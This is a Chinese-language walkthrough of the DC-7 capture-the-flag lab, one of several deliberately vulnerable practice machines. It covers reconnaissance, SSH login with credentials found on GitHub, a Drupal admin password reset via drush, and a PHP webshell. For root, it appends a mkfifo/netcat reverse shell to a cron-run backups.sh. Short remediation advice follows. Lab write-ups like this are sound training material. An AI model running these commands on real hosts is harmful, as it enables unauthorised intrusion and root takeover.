DC-7渗透测试复现

目的:

获取最高权限以及flag

过程:

信息打点--SSH- 命令执行反弹shell-计时任务提权

环境:

攻击机:kali(192.168.85.137)

靶机:DC_3(192.168.85.139)

复现:
一.信息收集

nmap -sP 192.168.85.0/24
或者:
arp-scan -l

 进一步端口扫描

发现22端口和80端口 进入80端口网页

cms为 Drupal8 

二.漏洞挖掘与利用 

因为cms为 Drupal8   网上搜集漏洞 发现CVE-2019-6340 Drupal8's REST RCE

尝试无果

根据收集到的信息 要我们跳出这个框架 ,发现了下面这个

百度进入github发现 账号密码

dc7user
MdR3xOgB7#dW

尝试ssh连接成功

 在网站配置信息发现数据库账号密码

  'username' => 'db7user',

  'password' => 'yNv3Po00',

 

尝试mysql连接发现是MariaDB 也没从里面的内容发现什么有用的信息

然后在/home/dc7user目录下的文件,发现一个backups文件夹和一个mbox文件。

打开发现是个计时任务

 Drush可以修改用户账号密码

详细可以访问

https://zhuanlan.zhihu.com/p/60880048

Gpg 加密的

我们尝试修改admin密码

drush upwd admin --password="123456"

 

登入

 然后在Content—>Add content-->Basic page下,准备添加PHP代码反弹shell 但是好像不行,查阅资料发现d8不支持PHP代码

 那我们下这个模块就行了

在extend里面Install new module

https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz

下完之后写入一句话木马 并且设置为PHP code

木马管理工具连

三.提权

进入终端再次进行反弹shell  就是为了方便执行命令

查看root能够怎么提权

 好像没啥用,但我们拿到了www-data的权限,接下来可以编辑上面所说的backups.sh,来进行提权了

查看权限 可写 

那我们直接写反弹shell提权就行了 

echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.85.137 3334 >/tmp/f" >> backups.sh

注:mkfifo 命令的作用是创建FIFO特殊文件,通常也称为命名管道,FIFO文件在磁盘上没有数据块,仅用来标识内核中的一条通道,各进程可以打开FIFO文件进行read/write,实际上是在读写内核通道(根本原因在于FIFO文件结构体所指向的read、write函数和常规文件不一样),这样就实现了进程间通信 

经验分享 | 常用linux反弹shell合集 - 知乎 (zhihu.com)

拿到flag

修复:

1.关闭22端口ssh远程连接

2.限制过滤命令执行的函数,反正上传webshell

3.必要的话关闭Drupal Shell命令服务 防止攻击者恶意破坏篡改数据库

Logo

北京人形旗下天工造物具身智能开源社区,聚焦具身天工与慧思开物两大平台

更多推荐